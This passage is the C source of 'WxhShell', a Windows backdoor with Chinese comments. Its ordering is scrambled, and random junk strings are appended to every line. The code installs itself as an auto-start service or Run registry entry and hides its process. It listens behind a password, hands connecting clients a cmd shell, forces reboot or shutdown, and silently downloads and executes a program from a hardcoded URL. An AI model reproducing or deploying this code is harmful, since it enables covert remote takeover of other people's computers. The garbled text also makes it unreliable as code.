    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %5KK#w "  
    else { +2 oZML  
    closesocket(wsh); SC4jKm2  
    ExitThread(0); ^%Cd@!dk  
    } OAW_c.)5D  
    break; =1R 2`H\  
    } +$(y2F7|u-  
  // 获取shell -X7x~x-  
  case 's': { N5=}0s]e  
    CmdShell(wsh); CPcUB4a%#  
    closesocket(wsh);  ?f'`b<o  
    ExitThread(0); -UzWLVB^  
    break; SC2LY  
  } DO*6gzW  
  // 退出 Op~:z<z  
  case 'x': { 8,vP']4r%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V/"RCqY4  
    CloseIt(wsh); v< 2,OcH  
    break; 2h*aWBLk  
    } #<m2Xo?d]  
  // 离开 'sa)_?Hy  
  case 'q': { ~~k0&mK|Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g +gcH  
    closesocket(wsh); :PY8)39@K  
    WSACleanup(); S\t!7Xs%*U  
    exit(1); pG)dF@  
    break; 8L/XZ)  
        } (]I=';\  
  } _1$Y\Y  
  } BOM0QskLf  
<GQ=PrT|/  
  // 提示信息 E2cZk6~m{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =1|p$@L`%  
} &K[~Ab_  
  } $/#[,1  
BU>R<A5h  
  return; Tw` dLK?  
} c>/7E-T  
\?8q&o1=]  
// shell模块句柄 hmuhq:<f  
int CmdShell(SOCKET sock) \j wxW6>  
{ 46\!W(O~y  
STARTUPINFO si; ]S9Z5l0  
ZeroMemory(&si,sizeof(si)); *x p_#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Qu8=zI>t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %Q]thv:  
PROCESS_INFORMATION ProcessInfo; x.|sCqx  
char cmdline[]="cmd"; A8S9HXL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0/7.RpX,.  
  return 0; b~)2`l  
} &P35\q   
;tA$ x!5]  
// 自身启动模式 !a!4^zqp  
int StartFromService(void) x=x%F;  
{ v6L]3O1  
typedef struct zO$r   
{ p g_H'0R  
  DWORD ExitStatus; unz~vG1Tn  
  DWORD PebBaseAddress; <KCyXU*  
  DWORD AffinityMask; x6Gl|e[jv  
  DWORD BasePriority; toOdL0hCe  
  ULONG UniqueProcessId; 4:b'VHW.  
  ULONG InheritedFromUniqueProcessId; ^x^(Rk}|  
}   PROCESS_BASIC_INFORMATION; 4,Uqcw?!F'  
<~_XT>`y  
PROCNTQSIP NtQueryInformationProcess; N$:-q'hX  
gCVOm-*:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =kK%,Mr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8.IenU9  
q3K}2g  
  HANDLE             hProcess; >$ro\/  
  PROCESS_BASIC_INFORMATION pbi; UYW'pV  
}:J-o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7xG~4N<)]  
  if(NULL == hInst ) return 0; -2 8bJ,  
#@1(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {L.uLr_?e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $2}%3{<j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Rs"G8Q9Q  
m] -cRf)9  
  if (!NtQueryInformationProcess) return 0; Y Ztd IG  
Y)(yw \&v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); > XM]UdP  
  if(!hProcess) return 0; tAY{+N]f  
G!%8DX5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x_C0=Q|K3  
WNKP';(a@G  
  CloseHandle(hProcess); aS\$@41"  
^7=7V0>,:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N|Xm{@C  
if(hProcess==NULL) return 0; Mk+G(4p  
yg~@} _C2_  
HMODULE hMod; z%lJWvaA7  
char procName[255]; M#m;jJqON  
unsigned long cbNeeded; P4/~_$e  
?`O^;f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e :C4f  
u3tT=5.D  
  CloseHandle(hProcess); %&V%=-O_7  
R*S:/s  
if(strstr(procName,"services")) return 1; // 以服务启动 +PKsiUJ|  
K1]3zLnS  
  return 0; // 注册表启动  ~mi4V  
} JAXD\StC  
8~TKiR5  
// 主模块 ijzwct#.  
int StartWxhshell(LPSTR lpCmdLine) %:;g|PC  
{ 'V&Uh]>  
  SOCKET wsl; UEfY'%x  
BOOL val=TRUE; rzLW @k  
  int port=0; /4+(eI7  
  struct sockaddr_in door; n5^57[(  
BfVh\ lkH  
  if(wscfg.ws_autoins) Install(); jiLJiYMg  
dh&> E  
port=atoi(lpCmdLine); A=p'`]Yld  
j:/Z_v'  
if(port<=0) port=wscfg.ws_port; R:R<Xt N`5  
RgQs`aI  
  WSADATA data; n 9`]}bnX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %2g<zdab  
cF8X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FoH1O+e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BOq9\g`5s  
  door.sin_family = AF_INET; yO!M$aOn/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X?n=UebO^  
  door.sin_port = htons(port); SPt/$uYJ  
5$N#=i`V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8UqH"^9.Q7  
closesocket(wsl); ,c{ckm  
return 1; G'PZ=+!XO/  
} `M 'tuQ M  
'=#fELMW  
  if(listen(wsl,2) == INVALID_SOCKET) { Gsb^gd  
closesocket(wsl); 1;V_E2?V  
return 1; 72yJv=G  
} NX.5 u8Pf  
  Wxhshell(wsl); 0< vJ*z|_  
  WSACleanup(); 0`-b57lF&  
]W`?0VwF  
return 0; $/;K<*O$  
HK~SD:d  
} s*<T'0&w0S  
yGAFQ|+  
// 以NT服务方式启动 ?6`B;_m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dpylJ2  
{ gBcs  
DWORD   status = 0; ]77f`<q<}!  
  DWORD   specificError = 0xfffffff; L+<h 5>6  
"NGfT:HV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :-JryiI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Mb 4"bDBsl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; shH2/.>  
  serviceStatus.dwWin32ExitCode     = 0; LSJ.pBl\X  
  serviceStatus.dwServiceSpecificExitCode = 0; [X!w@d= i  
  serviceStatus.dwCheckPoint       = 0; sVw:d _ E  
  serviceStatus.dwWaitHint       = 0; tzIP4CR~F&  
=f{v:n6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p$'S\W|  
  if (hServiceStatusHandle==0) return; 1(IZ,*i  
M>p<1`t-&  
status = GetLastError(); Hcu!bOQ  
  if (status!=NO_ERROR) %\T,=9tD\  
{ x"NQatdq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b(;u2 8  
    serviceStatus.dwCheckPoint       = 0; "YgpgW  
    serviceStatus.dwWaitHint       = 0; NGl 8*Af   
    serviceStatus.dwWin32ExitCode     = status; N\g=9o|Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; !uW*~u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I@/ G#3Zr  
    return; FrXP"U}Y  
  } ckA\{v  
~at@3j}W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $a*7Q~4  
  serviceStatus.dwCheckPoint       = 0; ^?+[yvq  
  serviceStatus.dwWaitHint       = 0; DMG~56cTO,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bN zb#P#hP  
} goIv m:?  
2RX]~}  
// 处理NT服务事件,比如:启动、停止 Nb&j?./  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pS ](Emn`.  
{ [_(J8~ va  
switch(fdwControl) .F 6US<]  
{ B\c_GXUw  
case SERVICE_CONTROL_STOP: lTMY|{9  
  serviceStatus.dwWin32ExitCode = 0; 1~L;S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^rVHaI  
  serviceStatus.dwCheckPoint   = 0; WK`o3ayH-  
  serviceStatus.dwWaitHint     = 0; [8sYEh  
  { (6ga*5<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S9Yzvq!(  
  } `z(o01y  
  return; .))j R:{3  
case SERVICE_CONTROL_PAUSE: x:MwM?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T:@6(_Z  
  break; H%vfRl3rB  
case SERVICE_CONTROL_CONTINUE: Gg'!(]v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Yvo*^jv  
  break; K'Ywv@  
case SERVICE_CONTROL_INTERROGATE: Hq W /  
  break; 1]Xx {j<  
}; s`bGW1#io  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,6;n[p"h|r  
} \s*UUODWK  
8)1q,[:M  
// 标准应用程序主函数 metn&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sWr;%<K  
{ 6v3l^~kc'  
 \nEMj,)  
// 获取操作系统版本 +s}&'V^  
OsIsNt=GetOsVer(); y<FC7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c36p+6rJk=  
MT~^wI0a  
  // 从命令行安装 'M~`IN`  
  if(strpbrk(lpCmdLine,"iI")) Install(); )&1v[]%S  
:1*E5pX0n  
  // 下载执行文件 'Eur[~k  
if(wscfg.ws_downexe) { >whv*@Fr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tC'E#2  
  WinExec(wscfg.ws_filenam,SW_HIDE); Qf( A  
} O.B9w+G=  
xkDK5&V  
if(!OsIsNt) { "KP]3EyPc  
// 如果时win9x,隐藏进程并且设置为注册表启动 D-BT`@~l  
HideProc(); v=@y7P1  
StartWxhshell(lpCmdLine); Wm6qy6HR  
} 3UUdJh<~  
else ({j8|{)+  
  if(StartFromService()) (Y)2[j  
  // 以服务方式启动 ;|vP|Xi  
  StartServiceCtrlDispatcher(DispatchTable); /Ot3[B  
else jV}8VK*`+  
  // 普通方式启动 V gMgeja  
  StartWxhshell(lpCmdLine); _ACN  
pRun5 )7  
return 0; d MR?pbD  
} 'w=|uE {^  
t/;0/ql\  
v%qOW)].  
Hnt*,C.0  
=========================================== B$2b =\  
 "M5  
S#M8}+ZD,  
5\pS8<RJ;  
o>8~rtl  
9\.0v{&v  
" YjDQ`f/  
Eto"B"  
#include <stdio.h> $L= Dky7  
#include <string.h> INr1bAe$  
#include <windows.h> qt@/  
#include <winsock2.h> ^ nPy(Q0  
#include <winsvc.h> <u\Hy0g  
#include <urlmon.h> u&I c  
!-}Q{<2@W  
#pragma comment (lib, "Ws2_32.lib") gttsxOgktH  
#pragma comment (lib, "urlmon.lib") #$BFTlm|  
B`-uZ9k   
#define MAX_USER   100 // 最大客户端连接数 P6GTgQ<'BA  
#define BUF_SOCK   200 // sock buffer i6V$mhL  
#define KEY_BUFF   255 // 输入 buffer vSnVq>-q&  
FXBmatBck  
#define REBOOT     0   // 重启 16/  V5  
#define SHUTDOWN   1   // 关机 ?IAu,s*u  
/=;,lC  
#define DEF_PORT   5000 // 监听端口 qkhre3  
c]E pg)E  
#define REG_LEN     16   // 注册表键长度 AF#: *<Ev  
#define SVC_LEN     80   // NT服务名长度 ^}~Q(ji7  
5.5kH$;>  
// 从dll定义API gg#9I(pX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E'\gd7t ;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G K~A,Miqk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @]n8*n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @FIL4sb  
h/tCve3Z  
// wxhshell配置信息 dQIF '==6  
struct WSCFG { ]z'L1vQl7  
  int ws_port;         // 监听端口 \YzKEYx+  
  char ws_passstr[REG_LEN]; // 口令 A>gZl)c  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5b"=m9{g  
  char ws_regname[REG_LEN]; // 注册表键名  {8K  
  char ws_svcname[REG_LEN]; // 服务名 !LH;K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7=N%$]DKZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3q4Zwv0z20  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lknj/i5L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I?D=Q $s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K{_~W yRF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aiX&`   
Y[L,rc/j  
}; 0E#??gN  
kKF=%J?X  
// default Wxhshell configuration G)~>d/  
struct WSCFG wscfg={DEF_PORT, !y_L~81?  
    "xuhuanlingzhe", LIG@`  
    1, !7\dr )  
    "Wxhshell", ?:/J8s [O  
    "Wxhshell", e*'bY;8lo  
            "WxhShell Service", G h+;Vrx  
    "Wrsky Windows CmdShell Service", /{buFX2"}  
    "Please Input Your Password: ",  Fw[1Aa#  
  1, H 2I  
  "http://www.wrsky.com/wxhshell.exe", EB&hgz&_  
  "Wxhshell.exe" m>Wt'Cc  
    }; aW:*!d#  
Fb<'L5}i  
// 消息定义模块 *H/)S5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xb[yy}>"L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; br88b`L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; < k(n%  
char *msg_ws_ext="\n\rExit."; |goBIp[  
char *msg_ws_end="\n\rQuit."; =UO7!vr;[  
char *msg_ws_boot="\n\rReboot..."; ^Vth;!o  
char *msg_ws_poff="\n\rShutdown..."; tPiC?=4R  
char *msg_ws_down="\n\rSave to "; MA tF,  
M GC=L .  
char *msg_ws_err="\n\rErr!"; )]Zdaw)X  
char *msg_ws_ok="\n\rOK!"; d^?e*USh  
6@0? ~  
char ExeFile[MAX_PATH]; )5`^@zx  
int nUser = 0; d>J +7ex+  
HANDLE handles[MAX_USER]; g NE"z   
int OsIsNt; vKoQ!7g  
`Q+O#l?  
SERVICE_STATUS       serviceStatus; Xl$r720ZJr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FFwu$S6e  
4%v-)HGh  
// 函数声明 $!'Vn)Z7  
int Install(void); f 4K)Z e  
int Uninstall(void); }nM+"(}  
int DownloadFile(char *sURL, SOCKET wsh); cPL6(&7  
int Boot(int flag); \o,et9zDJ3  
void HideProc(void); SPT x-b[  
int GetOsVer(void); y\6C9%.  
int Wxhshell(SOCKET wsl); aQWg?,Ju6  
void TalkWithClient(void *cs); yYJ +vs  
int CmdShell(SOCKET sock); 0^P9)<k'  
int StartFromService(void); Ey&A\  
int StartWxhshell(LPSTR lpCmdLine); B_c-@kl   
vO zUAi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sN[<{;K4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xjDaA U,  
7'.6/U  
// 数据结构和表定义 v{SYz<(  
SERVICE_TABLE_ENTRY DispatchTable[] = ]R"n+LnI:=  
{ e oFM  
{wscfg.ws_svcname, NTServiceMain}, QSYKYgxC  
{NULL, NULL} k~Y_%#_  
}; c@O7,y:`I  
W}^>lM\8  
// 自我安装 O,&p"K&Z  
int Install(void) a,t]>z95  
{ :$^sI"hO  
  char svExeFile[MAX_PATH]; Xs4G#QsA J  
  HKEY key; \$8p8MP<&D  
  strcpy(svExeFile,ExeFile); I} ]s(  
"Bn]-o|r  
// 如果是win9x系统,修改注册表设为自启动 `Z#]lS?  
if(!OsIsNt) { ]\=M$:,RZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?P2 d 9b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HX:^:pF}  
  RegCloseKey(key); W-"FRTI4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \xtmd[7lb<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J@9E20$  
  RegCloseKey(key); 'l'[U  
  return 0; (XA]k%45  
    } gl6*bB=  
  } KA {Y*m^7  
} A|GheH!t  
else { cW, 6 MAQo  
x42m+5/  
// 如果是NT以上系统,安装为系统服务 Y'i_EX|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `Df)wNN1  
if (schSCManager!=0) XS"lR |  
{ @k2nID^>  
  SC_HANDLE schService = CreateService itIzs99j  
  ( !xh.S#B  
  schSCManager, &mp@;wI6@  
  wscfg.ws_svcname, ,U/ZG|=v  
  wscfg.ws_svcdisp, W 7Y5~%@  
  SERVICE_ALL_ACCESS, zpd Z.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [L@ vC>G  
  SERVICE_AUTO_START, i50^%,  
  SERVICE_ERROR_NORMAL, b]U%|bp  
  svExeFile, 8CKI9  
  NULL, _[.3I1kG  
  NULL, 6<<ihm+  
  NULL, gG.b=DvzY  
  NULL, K%A:W  
  NULL eu|cQ^>  
  ); 5rpTR  
  if (schService!=0) "+V.Yue`R  
  { L?e N(L  
  CloseServiceHandle(schService); k:0HsN!F9  
  CloseServiceHandle(schSCManager); bO%bMZWB!y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r9uuVxBD  
  strcat(svExeFile,wscfg.ws_svcname); dRXF5Ox5K}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >;.'$-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lclSzC9  
  RegCloseKey(key); a$SGFA}V  
  return 0; Zg/ra1n  
    } ^?H3:CS  
  } Gt^Fj&^  
  CloseServiceHandle(schSCManager); J!,<NlP0K  
} A~6:eappH  
} aoh"<I%]>4  
Mg0[PbS  
return 1; !giL~}j(R  
} J]A!>|Ic  
c1?_L(  
// 自我卸载 emo@&6*  
int Uninstall(void) 3U0>Y%m|,  
{ i5sNCt  
  HKEY key; EencMi7J  
Gvk)H$ni  
if(!OsIsNt) { oZkjg3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |Fk>NX  
  RegDeleteValue(key,wscfg.ws_regname); ;x*_h  
  RegCloseKey(key); ua%$r[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WKib$(%f6  
  RegDeleteValue(key,wscfg.ws_regname); h|tdK;)  
  RegCloseKey(key); I5l5fx  
  return 0; "/e:V-W   
  } v&p|9C@  
} 6px(]QU  
} 9K`(Ys&  
else { Z6eM~$Y  
(,wIbwa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LE!xj 0  
if (schSCManager!=0) p0jQQg  
{ 88]V6Rm9[*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b!C\J  
  if (schService!=0) #"J8]3\F  
  { @kCFc}  
  if(DeleteService(schService)!=0) { 6;WfsG5  
  CloseServiceHandle(schService); e5/f%4YX  
  CloseServiceHandle(schSCManager); v803@9@  
  return 0; K( : NshM  
  } @N,(82k  
  CloseServiceHandle(schService); I d6H~;  
  } 5G!0Yy['  
  CloseServiceHandle(schSCManager); 9Z.Xo kg  
} x3j)'`=15  
} ^O#>LbM"x  
HjCWsQM  
return 1; e :(7$jo  
} }HB>Zb5  
P%VEJ5,]b  
// 从指定url下载文件 kj_MzgC'?  
int DownloadFile(char *sURL, SOCKET wsh) !&'GWQY{(  
{ (}Q(Ux@X  
  HRESULT hr; V iY-&q'  
char seps[]= "/"; %b 8ig1  
char *token; 05o)Q &`  
char *file; muh[wo  
char myURL[MAX_PATH]; [{iPosQWj  
char myFILE[MAX_PATH]; BlwAD  
uX82q.u_y  
strcpy(myURL,sURL); PIk2mX/D_6  
  token=strtok(myURL,seps); bSa%?laS  
  while(token!=NULL) /\L-y,>X  
  { ``X1xiB  
    file=token; >A5*=@7bY?  
  token=strtok(NULL,seps); x*H,eY3  
  } G>siyUh  
V{jQ=<)@e  
GetCurrentDirectory(MAX_PATH,myFILE); l k~VvRq  
strcat(myFILE, "\\"); b/[$bZD5o  
strcat(myFILE, file); 8jBrD1  
  send(wsh,myFILE,strlen(myFILE),0); 1zNh& "  
send(wsh,"...",3,0); Q$Q>pV;uH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `!,"">5  
  if(hr==S_OK) >m:;. vVY  
return 0; |Y-{)5/5}  
else M `O=rH }  
return 1; V^* ];`^  
s9#WkDR  
} (YV]T!q  
YCPU84f  
// 系统电源模块 Ew< sK9[o  
int Boot(int flag) ZVX1@p  
{ ^;8dl.;  
  HANDLE hToken; MnL o{G]  
  TOKEN_PRIVILEGES tkp; ?^3Y+)}  
|*fi!nvk@  
  if(OsIsNt) { $.Ia;YBf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &0b\E73  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fw&cv9X(IU  
    tkp.PrivilegeCount = 1; yac4\%ze  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Wq2 Bo*[*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QBYY1)6S,  
if(flag==REBOOT) { gB_gjn\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >b7Yk)[%  
  return 0; uv|RpIve:  
} .DR*MQI9  
else { lRANXM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u5.zckV  
  return 0; %zKTrsMZ  
} Od("tLIO}I  
  } Mdw"^x$7  
  else { cy64xR BB  
if(flag==REBOOT) { H2S/!Q;K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z!+n/ D-1  
  return 0; %jo,Gv  
} 5(>ux@[qI:  
else { :u,Ji9 u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'WNq/z"X  
  return 0; mIe 5{.m#  
} XI '.L ~  
} :bq$ {  
kmg/hNtN  
return 1; =B{B ?B"r  
} % !>@m6JK  
QQ/9ZI5  
// win9x进程隐藏模块 B un^EJ)  
void HideProc(void) &s{d r  
{ F AQx8P  
*`40B6dEr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (sW$2a  
  if ( hKernel != NULL ) q%/\  
  { *&z !y/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k5|GN Y6a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^U6VJ(58P  
    FreeLibrary(hKernel); C1uV7t*\  
  } 98maQQWD  
%KPQ|^WE  
return; L@S1C=-/  
} v"*c\,  
\bies1TBB^  
// 获取操作系统版本 j|>^wB  
int GetOsVer(void) Jim5Ul  
{ v\g1 w&PN  
  OSVERSIONINFO winfo; vW0U~(XlN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I%jlM0ZUI"  
  GetVersionEx(&winfo); ,ZZ5A;)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KP`Pzx   
  return 1; )m I i.  
  else \D-X _.v  
  return 0; g'9~T8i& ^  
} VHLt, ?G  
!Ld[`d.|R!  
// 客户端句柄模块 ltv ~Kh  
int Wxhshell(SOCKET wsl) /A-VT  
{ /GF"D5  
  SOCKET wsh; &srD7v9M8  
  struct sockaddr_in client; ";upu  
  DWORD myID; od^o9(.W^  
TCK#bJ  
  while(nUser<MAX_USER) &w{z  
{ 4m%Yck{R  
  int nSize=sizeof(client); R ^"*ut  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /Ri-iC >  
  if(wsh==INVALID_SOCKET) return 1; O' Mma5  
4O4}C#6(4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Xif>ZL?aXb  
if(handles[nUser]==0) W]D+[mpgK  
  closesocket(wsh); CQA^"Ll  
else Bw.?Me)mf|  
  nUser++; }vZTiuzC  
  } WHr:M/qD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [4-u{Tu  
/px`FuJI(  
  return 0; Pa{bkr  
} KcM+ 8W\  
?SX0e(+}}  
// 关闭 socket BPu>_$C  
void CloseIt(SOCKET wsh) jF{)2|5  
{ 5N907XVu  
closesocket(wsh); ||;a#FZ^  
nUser--; w69G6G(  
ExitThread(0); ^t[br6G  
} DCgiTT\  
f.RwV+lq  
// 客户端请求句柄 XeXK~  
void TalkWithClient(void *cs) h[]3#  
{ XRn+6fn|  
OKCX>'j:S  
  SOCKET wsh=(SOCKET)cs; J!:v`gb#@A  
  char pwd[SVC_LEN]; )J&!>GP  
  char cmd[KEY_BUFF]; ^ |>)H  
char chr[1]; aT=V/Xh}d  
int i,j; EU()Nnm2  
xKoNo^FF  
  while (nUser < MAX_USER) { `(L<Q%  
;W!hl<``d*  
if(wscfg.ws_passstr) { leEzfbb{'.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #~[mn_C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gR{.0e  
  //ZeroMemory(pwd,KEY_BUFF); fQ,(,^!;  
      i=0; r<.*:]L  
  while(i<SVC_LEN) { RH<C:!F^  
MP`WU}2  
  // 设置超时 !n5s/"'H  
  fd_set FdRead; B'D 4]EB  
  struct timeval TimeOut; Ox f,2r  
  FD_ZERO(&FdRead); Xu\22/Co  
  FD_SET(wsh,&FdRead); sJYs{Wm  
  TimeOut.tv_sec=8; O[#B906JB  
  TimeOut.tv_usec=0; [u`9R<>c"U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J""N:X!1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .e2 K\o  
Q_n9}LanP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); veGRwir  
  pwd=chr[0]; s)|l-I  
  if(chr[0]==0xd || chr[0]==0xa) { :#p!&Fi  
  pwd=0; ]6EXaf#  
  break; H>5@/0cL2  
  } ]#oqum@Yf1  
  i++; &:*|KxX  
    } dNcP_l/A  
p uLQ_MNV  
  // 如果是非法用户,关闭 socket & pS5_x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T1r^.;I:  
} 79Vp^GG7  
kP}91kja  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WD5ulm?91|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H"> }y D  
c{t(),nAA  
while(1) { T5di#%: s  
u.sn"G-c  
  ZeroMemory(cmd,KEY_BUFF); tmI2BBv  
j8gi/07l  
      // 自动支持客户端 telnet标准   i&?do{YQ)  
  j=0; I~>L4~g)  
  while(j<KEY_BUFF) { .4wp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P9D'L{yS/x  
  cmd[j]=chr[0]; yjP;o`z%  
  if(chr[0]==0xa || chr[0]==0xd) { X`k[ J6  
  cmd[j]=0;  !(<Yc5  
  break; S?_ ;$Cn  
  } ! G+/8Q^  
  j++; =1"8ua  
    } B[0XzV]Z  
~IKPi==@,  
  // 下载文件 PDcZno?  
  if(strstr(cmd,"http://")) { #ab=]}2W_g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bu#}`/\_  
  if(DownloadFile(cmd,wsh)) *tda_B 2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w(9.{zF|vQ  
  else 81|Xg5g)b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q e:,%a-9  
  } wK CHG/W  
  else { DT@6Q.  
8v M}moper  
    switch(cmd[0]) { V(Ps6jR"BS  
   (Ia}]q  
  // 帮助 hb"t8_--c  
